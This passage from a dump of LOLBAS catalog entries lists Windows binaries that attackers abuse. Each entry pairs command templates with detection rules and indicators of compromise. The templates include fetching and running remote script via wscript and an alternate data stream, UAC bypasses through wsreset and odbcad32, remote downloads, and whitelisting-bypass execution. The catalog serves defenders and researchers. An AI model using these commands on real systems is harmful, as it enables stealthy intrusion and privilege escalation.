Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\System32\\wbem\\wmic.exe\n - Path: C:\\Windows\\SysWOW64\\wbem\\wmic.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_squiblytwo_bypass.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_eventconsumer_creation.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_suspicious_wmi_script.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/persistence_via_windows_management_instrumentation_event_subscription.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml\n - Splunk: https://github.com/splunk/security_content/blob/961a81d4a5cb5c5febec4894d6d812497171a85c/detections/endpoint/xsl_script_execution_with_wmic.yml\n - Splunk: https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_wmi_command_attempt.yml\n - Splunk: https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_process_instantiation_via_wmi.yml\n - Splunk: https://github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/detections/endpoint/process_execution_via_wmi.yml\n - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules\n - IOC: Wmic retrieving scripts from remote system/Internet location\n - IOC: DotNet CLR libraries loaded into wmic.exe\n - IOC: DotNet CLR Usage Log - wmic.exe.log\n - IOC: wmiprvse.exe writing files\nResources:\n - Link: https://stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory\n - Link: https://subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html\n - Link: https://twitter.com/subTee/status/986234811944648707\nAcknowledgement:\n - Person: Casey Smith\n Handle: '@subtee'\n - Person: Avihay Eldad\n Handle: '@AvihayEldad'\n" }, { "path": "yml/OSBinaries/WorkFolders.yml", "content": "---\nName: WorkFolders.exe\nDescription: Work Folders\nAuthor: Elliot Killick\nCreated: 2021-08-16\nCommands:\n - Command: WorkFolders\n Description: Execute `control.exe` in the current working directory\n Usecase: Can be used to evade defensive countermeasures or to hide as a persistence mechanism\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Requires: Rename\n - Command: WorkFolders\n Description: '`WorkFolders` attempts to execute `control.exe`. By modifying the default value of the App Paths registry key for `control.exe` in `HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe`, an attacker can achieve proxy execution.'\n Usecase: Proxy execution of a malicious payload via App Paths registry hijacking.\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Requires: Registry change\nFull_Path:\n - Path: C:\\Windows\\System32\\WorkFolders.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_susp_workfolders.yml\n - IOC: WorkFolders.exe should not be run on a normal workstation\n - IOC: Registry modification to HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe\nResources:\n - Link: https://www.ctus.io/2021/04/12/exploading/\n - Link: https://twitter.com/ElliotKillick/status/1449812843772227588\nAcknowledgement:\n - Person: John Carroll\n Handle: '@YoSignals'\n - Person: Elliot Killick\n Handle: '@elliotkillick'\n - Person: Naor Evgi\n Handle: '@ghosts621'\n" }, { "path": "yml/OSBinaries/Wscript.yml", "content": "---\nName: Wscript.exe\nDescription: Used by Windows to execute scripts\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: wscript //e:vbscript {PATH}:script.vbs\n Description: Execute script stored in an alternate data stream\n Usecase: Execute hidden code to evade defensive counter measures\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: WSH\n - Command: echo GetObject(\"script:{REMOTEURL:.js}\") > {PATH_ABSOLUTE}:hi.js && wscript.exe {PATH_ABSOLUTE}:hi.js\n Description: Download and execute script stored in an alternate data stream\n Usecase: Execute hidden code to evade defensive counter measures\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\System32\\wscript.exe\n - Path: C:\\Windows\\SysWOW64\\wscript.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wscript_cscript_script_exec.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/command_and_control_remote_file_copy_scripts.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml\n - Splunk: https://github.com/splunk/security_content/blob/a1afa0fa605639cbef7d528dec46ce7c8112194a/detections/endpoint/wscript_or_cscript_suspicious_child_process.yml\n - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules\n - IOC: Wscript.exe executing code from alternate data streams\n - IOC: DotNet CLR libraries loaded into wscript.exe\n - IOC: DotNet CLR Usage Log - wscript.exe.log\nResources:\n - Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f\nAcknowledgement:\n - Person: Oddvar Moe\n Handle: '@oddvarmoe'\n - Person: SaiLay(valen)\n Handle: '@404death'\n" }, { "path": "yml/OSBinaries/Wsreset.yml", "content": "---\nName: Wsreset.exe\nDescription: Used to reset Windows Store settings according to its manifest file\nAuthor: Oddvar Moe\nCreated: 2019-03-18\nCommands:\n - Command: wsreset.exe\n Description: During startup, wsreset.exe checks the registry value HKCU\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command for the command to run. Binary will be executed as a high-integrity process without a UAC prompt being displayed to the user.\n Usecase: Execute a binary or script as a high-integrity process without a UAC prompt.\n Category: UAC Bypass\n Privileges: User\n MitreID: T1548.002\n OperatingSystem: Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\System32\\wsreset.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset_integrity_level.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/registry/registry_event/registry_event_bypass_via_wsreset.yml#\n - Splunk: https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/wsreset_uac_bypass.yml\n - IOC: wsreset.exe launching child process other than mmc.exe\n - IOC: Creation or modification of the registry value HKCU\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command\n - IOC: Microsoft Defender Antivirus as Behavior:Win32/UACBypassExp.T!gen\nResources:\n - Link: https://www.activecyber.us/activelabs/windows-uac-bypass\n - Link: https://twitter.com/ihack4falafel/status/1106644790114947073\n - Link: https://github.com/hfiref0x/UACME/blob/master/README.md\nAcknowledgement:\n - Person: Hashim Jawad\n Handle: '@ihack4falafel'\n" }, { "path": "yml/OSBinaries/Wuauclt.yml", "content": "---\nName: wuauclt.exe\nDescription: Windows Update Client\nAuthor: David Middlehurst\nCreated: 2020-09-23\nCommands:\n - Command: wuauclt.exe /UpdateDeploymentProvider {PATH_ABSOLUTE:.dll} /RunHandlerComServer\n Description: Loads and executes DLL code on attach.\n Usecase: Execute dll via attach/detach methods\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 10\n Tags:\n - Execute: DLL\nFull_Path:\n - Path: C:\\Windows\\System32\\wuauclt.exe\n - Path: C:\\Windows\\UUS\\amd64\\wuauclt.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/network_connection/net_connection_win_wuauclt_network_connection.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_wuauclt.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wuauclt_execution.yml\n - IOC: wuauclt run with a parameter of a DLL path\n - IOC: Suspicious wuauclt Internet/network connections\nResources:\n - Link: https://dtm.uk/wuauclt/\nAcknowledgement:\n - Person: David Middlehurst\n Handle: '@dtmsecurity'\n" }, { "path": "yml/OSBinaries/Xwizard.yml", "content": "---\nName: Xwizard.exe\nDescription: Execute custom class that has been added to the registry or download a file with Xwizard.exe\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}\n Description: Xwizard.exe running a custom class that has been added to the registry.\n Usecase: Run a com object created in registry to evade defensive counter measures\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: COM\n - Command: xwizard RunWizard /taero /u {00000001-0000-0000-0000-0000FEEDACDC}\n Description: Xwizard.exe running a custom class that has been added to the registry. The /t and /u switch prevent an error message in later Windows 10 builds.\n Usecase: Run a com object created in registry to evade defensive counter measures\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: COM\n - Command: xwizard RunWizard {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z{REMOTEURL}\n Description: Xwizard.exe uses RemoteApp and Desktop Connections wizard to download a file, and save it to INetCache.\n Usecase: Download file from Internet\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Download: INetCache\nFull_Path:\n - Path: C:\\Windows\\System32\\xwizard.exe\n - Path: C:\\Windows\\SysWOW64\\xwizard.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_class_exec_xwizard.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_dll_sideload_xwizard.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/execution_com_object_xwizard.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml\nResources:\n - Link: http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/\n - Link: https://www.youtube.com/watch?v=LwDHX7DVHWU\n - Link: https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5\n - Link: https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/\n - Link: https://twitter.com/notwhickey/status/1306023056847110144\nAcknowledgement:\n - Person: Adam\n Handle: '@Hexacorn'\n - Person: Nick Tyrer\n Handle: '@NickTyrer'\n - Person: harr0ey\n Handle: '@harr0ey'\n - Person: Wade Hickey\n Handle: '@notwhickey'\n" }, { "path": "yml/OSBinaries/msedge_proxy.yml", "content": "---\nName: msedge_proxy.exe\nFull_Path:\n - Path: C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge_proxy.exe\nDescription: Microsoft Edge Browser\nAuthor: 'Mert Daş'\nCreated: 2023-08-18\nCommands:\n - Command: \"C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge_proxy.exe {REMOTEURL:.zip}\"\n Description: msedge_proxy will download malicious file.\n Usecase: Download file from the internet\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 10, Windows 11\n - Command: \"C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge_proxy.exe --disable-gpu-sandbox --gpu-launcher=\\\"{CMD} &&\\\"\"\n Description: msedge_proxy.exe will execute file in the background\n Usecase: Executes a process under a trusted Microsoft signed binary\n Category: Execute\n Privileges: User\n MitreID: T1218.015\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: CMD\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_susp_electron_execution_proxy.yml\nAcknowledgement:\n - Person: Mert Daş\n Handle: '@merterpreter'\n" }, { "path": "yml/OSBinaries/msedgewebview2.yml", "content": "---\nName: msedgewebview2.exe\nDescription: msedgewebview2.exe is the executable file for Microsoft Edge WebView2, which is a web browser control used by applications to display web content.\nAuthor: Matan Bahar\nCreated: 2023-06-15\nCommands:\n - Command: msedgewebview2.exe --no-sandbox --browser-subprocess-path=\"{PATH_ABSOLUTE:.exe}\"\n Description: This command launches the Microsoft Edge WebView2 browser control without sandboxing and will spawn the specified executable as its subprocess.\n Usecase: Proxy execution of binary\n Category: Execute\n Privileges: Low privileges\n MitreID: T1218.015\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Command: msedgewebview2.exe --utility-cmd-prefix=\"{CMD}\"\n Description: This command launches the Microsoft Edge WebView2 browser control without sandboxing and will spawn the specified command as its subprocess.\n Usecase: Proxy execution of binary\n Category: Execute\n Privileges: User\n MitreID: T1218.015\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: CMD\n - Command: msedgewebview2.exe --disable-gpu-sandbox --gpu-launcher=\"{CMD}\"\n Description: This command launches the Microsoft Edge WebView2 browser control without sandboxing and will spawn the specified command as its subprocess.\n Usecase: Proxy execution of binary\n Category: Execute\n Privileges: User\n MitreID: T1218.015\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: CMD\n - Command: msedgewebview2.exe --no-sandbox --renderer-cmd-prefix=\"{CMD}\"\n Description: This command launches the Microsoft Edge WebView2 browser control without sandboxing and will spawn the specified command as its subprocess.\n Usecase: Proxy execution of binary\n Category: Execute\n Privileges: User\n MitreID: T1218.015\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\114.0.1823.43\\msedgewebview2.exe\n - Path: C:\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\131.0.2903.70\\msedgewebview2.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_susp_electron_execution_proxy.yml\n - IOC: 'msedgewebview2.exe spawned with any of the following: --gpu-launcher, --utility-cmd-prefix, --renderer-cmd-prefix, --browser-subprocess-path'\nResources:\n - Link: https://medium.com/@MalFuzzer/one-electron-to-rule-them-all-dc2e9b263daf\nAcknowledgement:\n - Person: Uriel Kosayev\n Handle: '@MalFuzzer'\n - Person: Hai Vaknin\n Handle: '@VakninHai'\n - Person: Tamir Yehuda\n Handle: '@Tamirye94'\n - Person: Matan Bahar\n Handle: '@Bl4ckShad3'\n" }, { "path": "yml/OSBinaries/odbcad32.yml", "content": "---\nName: odbcad32.exe\nDescription: ODBC Data Source Administrator to manage User/System DSNs and ODBC drivers.\nAuthor: 'Ekitji'\nCreated: 2025-09-04\nCommands:\n - Command: odbcad32.exe\n Description: Launch odbcad32.exe GUI, click 'Tracing' tab, click 'Browsing' button, enter abitrary command in the File Dialog's path, press enter.\n Usecase: Execute a binary as a high-integrity process without a UAC prompt.\n Category: UAC Bypass\n Privileges: User\n MitreID: T1548.002\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: CMD\n - Application: GUI\nFull_Path:\n - Path: c:\\windows\\system32\\odbcad32.exe\n - Path: c:\\windows\\syswow64\\odbcad32.exe\nDetection:\n - IOC: odbcad32.exe spawning unexpected child processes.\nResources:\n - Link: https://medium.com/@thebinaryhashira/living-off-the-land-and-living-above-uac-6a66738d225c\nAcknowledgement:\n - Person: amonitoring\n - Person: Ekitji\n Handle: '@eki_erk'\n" }, { "path": "yml/OSBinaries/write.yml", "content": "---\nName: write.exe\nDescription: 'Windows Write'\nAuthor: Michal Belzak\nCreated: 2025-06-17\nCommands:\n - Command: write.exe\n Description: 'Executes a binary provided in default value of `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\wordpad.exe`.'\n Usecase: Execute binary through legitimate proxy. This might be utilized to confuse detection solutions that rely on parent-child relationships.\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 10, Windows 11 (before 24H2)\n Tags:\n - Execute: EXE\n - Requires: Registry Change\nFull_Path:\n - Path: 'C:\\Windows\\write.exe'\n - Path: 'C:\\Windows\\System32\\write.exe'\n - Path: 'C:\\Windows\\SysWOW64\\write.exe'\nDetection:\n - IOC: 'Changes to HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\wordpad.exe'\n - Sigma: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_persistence_app_paths.yml\nResources:\n - Link: https://gist.github.com/mblzk/b8c5ff7c2bd0fb2b385cc2fdd119874b\nAcknowledgement:\n - Person: Michal Belzak\n" }, { "path": "yml/OSBinaries/wt.yml", "content": "---\nName: wt.exe\nDescription: Windows Terminal\nAuthor: Nasreddine Bencherchali\nCreated: 2022-07-27\nCommands:\n - Command: wt.exe {CMD}\n Description: Execute a command via Windows Terminal.\n Usecase: Use wt.exe as a proxy binary to evade defensive counter-measures\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows 11\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: C:\\Program Files\\WindowsApps\\Microsoft.WindowsTerminal_\\wt.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_windows_terminal_susp_children.yml\nResources:\n - Link: https://twitter.com/nas_bench/status/1552100271668469761\nAcknowledgement:\n - Person: Nasreddine Bencherchali\n Handle: '@nas_bench'\n" }, { "path": "yml/OSLibraries/Advpack.yml", "content": "---\nName: Advpack.dll\nDescription: Utility for installing software and drivers with rundll32.exe\nAuthor: LOLBAS Team\nCreated: 2018-05-25\nCommands:\n - Command: rundll32.exe advpack.dll,LaunchINFSection {PATH:.inf},DefaultInstall_SingleUser,1,\n Description: Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (section name specified).\n Usecase: Run local or remote script(let) code through INF file specification.\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: INF\n - Command: rundll32.exe advpack.dll,LaunchINFSection {PATH:.inf},,1,\n Description: Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (DefaultInstall section implied).\n Usecase: Run local or remote script(let) code through INF file specification.\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: INF\n - Command: rundll32.exe advpack.dll,RegisterOCX {PATH:.dll}\n Description: Launch a DLL payload by calling the RegisterOCX function.\n Usecase: Load a DLL payload.\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: DLL\n - Command: rundll32.exe advpack.dll,RegisterOCX {PATH:.exe}\n Description: Launch an executable by calling the RegisterOCX function.\n Usecase: Run an executable payload.\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Command: rundll32 advpack.dll, RegisterOCX {CMD}\n Description: Launch command line by calling the RegisterOCX function.\n Usecase: Run an executable payload.\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: c:\\windows\\system32\\advpack.dll\n - Path: c:\\windows\\syswow64\\advpack.dll\nCode_Sample:\n - Code: https://github.com/LOLBAS-Project/LOLBAS-Project.github.io/blob/master/_lolbas/Libraries/Payload/Advpack.inf\n - Code: https://github.com/LOLBAS-Project/LOLBAS-Project.github.io/blob/master/_lolbas/Libraries/Payload/Advpack_calc.sct\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml\n - Splunk: https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/detect_rundll32_application_control_bypass___advpack.yml\nResources:\n - Link: https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/\n - Link: https://twitter.com/ItsReallyNick/status/967859147977850880\n - Link: https://twitter.com/bohops/status/974497123101179904\n - Link: https://twitter.com/moriarty_meng/status/977848311603380224\nAcknowledgement:\n - Person: Jimmy (LaunchINFSection)\n Handle: '@bohops'\n - Person: Fabrizio (RegisterOCX - DLL)\n Handle: '@0rbz_'\n - Person: Moriarty (RegisterOCX - CMD)\n Handle: '@moriarty_meng'\n - Person: Nick Carr (Threat Intel)\n Handle: '@ItsReallyNick'\n" }, { "path": "yml/OSLibraries/Desk.yml", "content": "---\nName: Desk.cpl\nDescription: Desktop Settings Control Panel\nAuthor: Hai Vaknin\nCreated: 2022-04-21\nCommands:\n - Command: rundll32.exe desk.cpl,InstallScreenSaver {PATH_ABSOLUTE:.scr}\n Description: Launch an executable with a .scr extension by calling the InstallScreenSaver function.\n Usecase: Launch any executable payload, as long as it uses the .scr extension.\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Command: rundll32.exe desk.cpl,InstallScreenSaver {PATH_SMB:.scr}\n Description: Launch a remote executable with a .scr extension, located on an SMB share, by calling the InstallScreenSaver function.\n Usecase: Launch any executable payload, as long as it uses the .scr extension.\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Execute: Remote\nFull_Path:\n - Path: C:\\Windows\\System32\\desk.cpl\n - Path: C:\\Windows\\SysWOW64\\desk.cpl\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/file/file_event/file_event_win_new_src_file.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_rundll32_installscreensaver.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/940f89d43dbac5b7108610a5bde47cda0d2a643b/rules/windows/registry/registry_set/registry_set_scr_file_executed_by_rundll32.yml\nResources:\n - Link: https://vxug.fakedoma.in/zines/29a/29a7/Articles/29A-7.030.txt\n - Link: https://twitter.com/pabraeken/status/998627081360695297\n - Link: https://twitter.com/VakninHai/status/1517027824984547329\n - Link: https://jstnk9.github.io/jstnk9/research/InstallScreenSaver-SCR-files\nAcknowledgement:\n - Person: Rafael S Marques\n Handle: '@pegabizu'\n - Person: Pierre-Alexandre Braeken\n Handle: '@pabraeken'\n - Person: hai\n Handle: '@VakninHai'\n - Person: Christopher Peacock\n Handle: '@SecurePeacock'\n - Person: Jose Luis Sanchez\n Handle: '@Joseliyo_Jstnk'\n" }, { "path": "yml/OSLibraries/Dfshim.yml", "content": "---\nName: Dfshim.dll\nDescription: ClickOnce engine in Windows used by .NET\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: rundll32.exe dfshim.dll,ShOpenVerbApplication {REMOTEURL}\n Description: Executes click-once-application from URL (trampoline for Dfsvc.exe, DotNet ClickOnce host)\n Usecase: Use binary to bypass Application whitelisting\n Category: AWL Bypass\n Privileges: User\n MitreID: T1127.002\n OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: ClickOnce\n - Execute: Remote\nFull_Path:\n - Path: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Dfsvc.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Dfsvc.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Dfsvc.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Dfsvc.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml\nResources:\n - Link: https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf\n - Link: https://stackoverflow.com/questions/13312273/clickonce-runtime-dfsvc-exe\nAcknowledgement:\n - Person: Casey Smith\n Handle: '@subtee'\n" }, { "path": "yml/OSLibraries/Ieadvpack.yml", "content": "---\nName: Ieadvpack.dll\nDescription: INF installer for Internet Explorer. Has much of the same functionality as advpack.dll.\nAuthor: LOLBAS Team\nCreated: 2018-05-25\nCommands:\n - Command: rundll32.exe ieadvpack.dll,LaunchINFSection {PATH_ABSOLUTE:.inf},DefaultInstall_SingleUser,1,\n Description: Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (section name specified).\n Usecase: Run local or remote script(let) code through INF file specification.\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: INF\n - Command: rundll32.exe ieadvpack.dll,LaunchINFSection {PATH_ABSOLUTE:.inf},,1,\n Description: Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (DefaultInstall section implied).\n Usecase: Run local or remote script(let) code through INF file specification.\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: INF\n - Command: rundll32.exe ieadvpack.dll,RegisterOCX {PATH:.dll}\n Description: Launch a DLL payload by calling the RegisterOCX function.\n Usecase: Load a DLL payload.\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: DLL\n - Command: rundll32.exe ieadvpack.dll,RegisterOCX {PATH:.exe}\n Description: Launch an executable by calling the RegisterOCX function.\n Usecase: Run an executable payload.\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Command: rundll32 ieadvpack.dll, RegisterOCX {CMD}\n Description: Launch command line by calling the RegisterOCX function.\n Usecase: Run an executable payload.\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: c:\\windows\\system32\\ieadvpack.dll\n - Path: c:\\windows\\syswow64\\ieadvpack.dll\nCode_Sample:\n - Code: https://github.com/LOLBAS-Project/LOLBAS-Project.github.io/blob/master/_lolbas/Libraries/Payload/Ieadvpack.inf\n - Code: https://github.com/LOLBAS-Project/LOLBAS-Project.github.io/blob/master/_lolbas/Libraries/Payload/Ieadvpack_calc.sct\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml\n - Splunk: https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/detect_rundll32_application_control_bypass___advpack.yml\nResources:\n - Link: 